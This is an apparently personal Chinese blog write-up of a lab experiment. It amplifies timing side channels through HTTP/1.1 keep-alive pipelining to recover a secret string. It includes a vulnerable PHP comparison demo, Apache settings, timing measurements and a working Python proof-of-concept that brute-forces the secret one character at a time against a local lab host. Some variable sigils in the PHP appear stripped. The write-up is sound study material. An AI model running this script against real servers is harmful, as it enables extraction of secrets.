http1.0的Keep-Alive失去限制后的侧信道攻击
这个有意思的知识点学习来自漂亮侧信道:从timeless attack到pipeline的放大攻击, 看整篇文章了解并不难(单纯看原理学习更建议看原作者文章, 我这里写的很乱而且一些地方可能表述的不是很好, 但是一些操作实现的细节可以参考这篇文章的操作记录), 但是实现起来感觉并不是那么容易, 主要是调节合适请求数量这个点个人感觉有点难把控, 另外服务器以及网络传输产生的抖动更是让原本就不明显的差异显得岌岌可危, 具体的看文章吧。
攻击原理简述
先描述一下自己对侧信道的简单理解:
简单地说就是根据服务对请求响应中
不易察觉的细小差异
以极大的倍数放大变为可视化的差异, 从而能够感受到环境面对不同条件的差异化处理, 进而根据反应逐步探测出想要的结果(例如sql盲注)
http的不同版本协议介绍
对于http协议的变化以及不同协议版本的细微差别, 这里直接CV了一份漂亮侧信道中的表格
协议版本 | 传输方式 | 效果 |
---|---|---|
http1.0 | 原始方式 | 一个tcp只有一个请求和响应 |
http1.1 | 基础的keepalive | 复用同一个tcp,多个请求时,一个请求一个响应顺序执行 |
http1.1 | pipeline模式 | 复用一个tcp,多个请求时,同时发送多个请求,服务端顺序响应这几个请求,按照先进先出的原则强制响应顺序 |
http2.0 | Multiplexing | 复用一个tcp,采用http2.0的封装,多个请求时,多个h2的帧,请求会并发进行处理,响应是乱序返回的(客户端根据帧信息自己会重组) |
(http1.1的基础keepalive
和pipeline模式
有什么差别可看简析 HTTP 2.0 多路复用
http 1.1
使用要求就一个: 添加请求头Connection: keep-alive
之后返回的Keep-Alive
中没有max
<?php
flag="flag{test}";
//sleep(1);var_dump(time());
for(i=0; i<=strlen(_REQUEST['flag']); i++){
if(flag[i]!=_REQUEST['flag'][$i]){
break;
}
}
上面这个demo中就是单纯拿请求数据的flag变量和真正的flag对比,只要字符不相同就直接退出, 并不存在任何输出反应, 而执行过程中这几个字符的比对所花费的时间肯定是远小于我们请求处理过程中因为抖动而产生的时间差异的。这时候我们就可以通过发送多个请求将这个字符对比的差异放大从而完成侧信道读出flag。
实现方法在http 1.1中就是: 通过一个大量请求将字符对比产生的时间差异放大
相信以为CTFer对CLRF
的请求注入攻击都不陌生了, 就是可以在一个请求中放入两个http请求报文的数据, 从而让服务器在当前的一个TCP中处理这两个请求, 然后在将两个请求都处理完毕之后一次性将两个请求的数据都返回到客户端。(这就是pipeline模式下的http 1.1)
所以如果我们能够在一次请求中通过CLRF注入发送很多个请求(比如100000个)而且每个请求的flag参数都是一样的, 那么这一次字符对比的差异就将会被放大100000倍, 在将这100000请求都处理完毕之后Server将处理结果返回的数据一次性的返回到Client, 这时候我们就可以感受到时差了, 从而实现侧信道。
但是这里有一个问题是需要我们首先验证的Server面对CLRF之后的一个请求中如果有非常多的http请求那么Server就会处于一个变处理请求边将结果响应给Client的状态中(本地的Apache2测试是一次返回5个http的处理结果), 而不是将全部的请求都处理完毕之后才开始返回数据(这个应该是与Server以及中间件有关, 并不是一定的)
这里的sleep操作原文中原本是用于验证Server是否能够并发处理请求的, 只是在做的时候突然产生上述的疑惑于是便验证了一下
例如将demo中的输出注释删除后运行以下脚本
import socket import time def http_sockrt(text): global host,port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(text.encode()) response = b'' rec = sock.recv(1024) while rec: response += rec print(time.time(),rec) rec = sock.recv(1024) return response def test(num): global text start = time.time() print(start) ret = http_sockrt(text*num).decode() print(len(ret.split("HTTP/1.1 200 OK")) - 1,end="\t") print(time.time() - start) host = '192.168.92.128' port = 80 text = """GET /?flag=flag{ HTTP/1.1\r Host: 192.168.92.128\r Connection: keep-alive\r \r \r \r \r """ test(7) # while 1: # test(10)
我们可以根据返回数据的时间差可以看到中间间隔了2秒(也就是剩下的2个http请求产生的睡眠时间)
MaxKeepAliveRequests的限制
此外还有一个条件限制那就是例如Apache2中默认是开启KeepAlive模式的, 但是指定了单次连接最多可以发送多少个请求,这个参数就是MaxKeepAliveRequests
,相关的配置见/etc/apache2/apache2.conf
(默认是100,我这里改为0就是解除限制)
没有修改配置时候请求头加上Connection: keep-alive
返回的Keep-Alive
响应头中会有max
参数,这就是配置中MaxKeepAliveRequests
的大小
修改配置后
初探效果
了解完了大致原理之后看看通过CLRF注入一次发送多个请求产生的时差效果怎么样
-
先每次发送10个http请求
请求最小响应时间min=5.004228830337524 请求最大响应时间max=5.009697675704956 请求最大于最小响应时间的差值sub=0.005468845367431641 请求平均响应时间avg=5.007490634918213
可以看到抖动产生的请求响应时间最大差异为
0.00546s
, 其总响应时间平均约为5.007490634918213s
响应时间中有5s可以看做请求的初始时差,这点其实挺烦人的, 这个5s就是Apache配置中的
KeepAliveTimeout
参数, 它的备注如下:# KeepAliveTimeout: Number of seconds to wait for the next request from the # same client on the same connection.
意思就是每次发出请求之后会继续等待5s, 以便让客户端通过已建立的连接发送更多的请求, 而这点做测试的时候没注意, 所以每次请求都要多花5s去等待, 有点呆……
但是测试发现如果直接将其改为的话那么每次请求的反应都将特别迅速, 请求
10000000
次一开始平均也只需要0.5s
左右的时间而已, 但是后面会迅速变的不稳定,而且响应时间的差异跳动特别剧烈, 下面看这个测试的过程, 相同的请求, 一开始平均时间为0.46s
但是结果三十个请求左右, 平均时间直接加倍到了1s
后续更加离谱
flag{e
的测试甚至出现了一个花了二十几秒响应时间的请求, 也正是这个一个请求之后直接将平均值迅速拉高 -
将请求数量调整为
10000
请求最小响应时间min=5.317163944244385 请求最大响应时间max=5.460437297821045 请求最大于最小响应时间的差值sub=0.14327335357666016 请求平均响应时间avg=5.3353529483714
从测试数据可以看到响应时间多了
0.335s
,而抖动的时间差最大也就是0.1432s
, 也就是说其中至少0.16s
是由于数据传输和字符比较的差异引起的 -
请求数量保持10000, 将flag参数从xxxxx改为
flag{
请求最小响应时间min=5.350261688232422 请求最大响应时间max=5.4054954051971436 请求最大于最小响应时间的差值sub=0.05523371696472168 请求平均响应时间avg=5.366174926757813
可以看到在添加了匹配数据
flag{
之后响应时间稳定增增加了5.366174926757813-5.3353529483714 = 0.03082197838641232
也就是说, 这
0.03s
的时差就是flag{
的匹配操作导致的 -
请求数量保持10000, 将flag参数从xxxxx改为
flag{test}
之前的
flag{
是5个字符, 看一下再增加5个字符test}
之后的匹配时间会多多少请求最小响应时间min=5.368805170059204 请求最大响应时间max=5.402857542037964 请求最大于最小响应时间的差值sub=0.034052371978759766 请求平均响应时间avg=5.385716386139393
这次相比上次的平均时间多了
5.385716386139393 -5.366174926757813 = 0.01954145938158014
相比之前的
0.03082197838641232s
, 这次只是增多了0.01954145938158014s
这就意味着一个问题:
响应的平均时间并不是随着匹配字符的增多而线性增长(其实并不是,这是因为比较操作), 所以这就意味着这个过程需要我们逐个手工调试了
-
请求数量保持10000, 检查flag参数为
x
和f
的区别请求最小响应时间min=5.314329624176025 请求最大响应时间max=5.33812689781189 请求最大于最小响应时间的差值sub=0.023797273635864258 请求平均响应时间avg=5.324775727589925
啊呃呃,,,这里可以说一下,因为后续测试发现一些实际操作会存在一些奇怪的问题,比如一旦将请求数量添加10倍,那么后面的抖动就会特别大(最大与最小误差超过1s)而且会随着时间的积累呈逐渐上升趋势,而且一旦请求数量添加10倍那么之前所说的5s的缓冲时间就像是失效了一般,请求时间会直接暴增到
46s
上下浮动不过总的来说起码又一点是没问题的, 那就是在正常响应(网络传输和Server处理请求都稳定)的情况下, 如果匹配新增字符之后成功的话反应时间的平均值是要比之前大的, 如果新增字符之后不匹配响应时间会变小
主要就是将
统计次数
(socket发送多少次请求后取反应时间的平均值)增多以获得更加稳定准确的平均反应时间。 另外考虑放大请求个数
, 但是请求个数
个人感觉是比较难调的。因为请求个数少了的话差异就体现不出来, 但是请求个数过大首先会造成等待时间过长, 另外请求过程中因为网络传输而产生的抖动也可能会在超过某个阈值之后处理爆炸以及传输数据量增大导致抖动产生的误差时间直接超过了Server的差异处理导致的时间差从而无法获得准确结果。 -
简单的PocDemo
poc中主要调节三个参数:
flag
首个匹配的起始字符requestnum
每次发送多少个请求avgnum
请求多少次之后取反应时间的平均值作为判断依据
import socket import time def http_sockrt(text): global host,port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(text.encode()) response = b'' rec = sock.recv(1024) while rec: response += rec # print(time.time(),rec) rec = sock.recv(1024) return response def test(num): global text,timetable start = time.time() print(start,end="\t") ret = http_sockrt(text*num).decode() print(len(ret.split("HTTP/1.1 200 OK")) - 1,end="\t") used = time.time() - start timetable.append(used) print(used,f"\tmin={min(timetable)}\tmax={max(timetable)}\tsub={max(timetable)-min(timetable)}\tavg={sum(timetable)/len(timetable)}",) host = '192.168.92.128' port = 80 template = f"""GET /?flag=h0cksr HTTP/1.1\r Host: {host}\r Connection: keep-alive\r \r """ flag,requestnum,avgnum="flag{",10000,20 text=template.replace("h0cksr",flag) timetable=[] for j in range(avgnum): test(requestnum) # 先使用设置的起始匹配字符串进行请求从而获取反应时间平均值maxavgtime, 作为后面的判断依据 maxavgtime = sum(timetable)/len(timetable) while 1: for c in "teabecdefghijklmnopqrstuvwxyz_-}{": print(c) timetable = [] print("Testing::",flag+c) text = template.replace("h0cksr", flag+c) for j in range(avgnum): test(requestnum) if (sum(timetable)/len(timetable))>maxavgtime: flag+=c maxavgtime = sum(timetable)/len(timetable) print("Success::",flag) break
一些处理
如果是在环境中想要更加稳定的话可以采取下面这些方法:
-
进行多次校验(在demo的for循环外面再套一个for循环)
-
进行用户自定义数据插入, 并且将flag散落在用户自定义数据的指定位置(例如将用户输入的
flag0
字符串替换为flag的第一个字符f
,flag1
替换为第二个flag字符l
,就这样依次替换)这时候用户就可以在每个flag字符之间插入成千上万的字符, 如果错误的话就会break退出, 匹配到了就会继续匹配下面的用户自定义的成千上万的字符, 这样子的话甚至可以摆脱
Keep-Alive
中的maxtime
的限制
http 2.0
http2.0的处理和之前相比主要就是多了一个并发的功能, 所以可以在一个请求中直接将两个测试flag发给Server(一个满足匹配要求一个不满足), Server处理之后满足条件的flag请求就会因为执行匹配操作而稍慢才返回, 因此满足匹配要求的请求就会在最后一个返回给Client, 而这个返回顺序的变化就可以帮助我们判断了
大概就是这个意思, 但是http2.0是基于二进制流的, 平时也不怎么用, 所以就没准备测试了, 睡觉…
参考文章
漂亮侧信道:从timeless attack到pipeline的放大攻击
2022_10_27 — 2022_10_28 01:30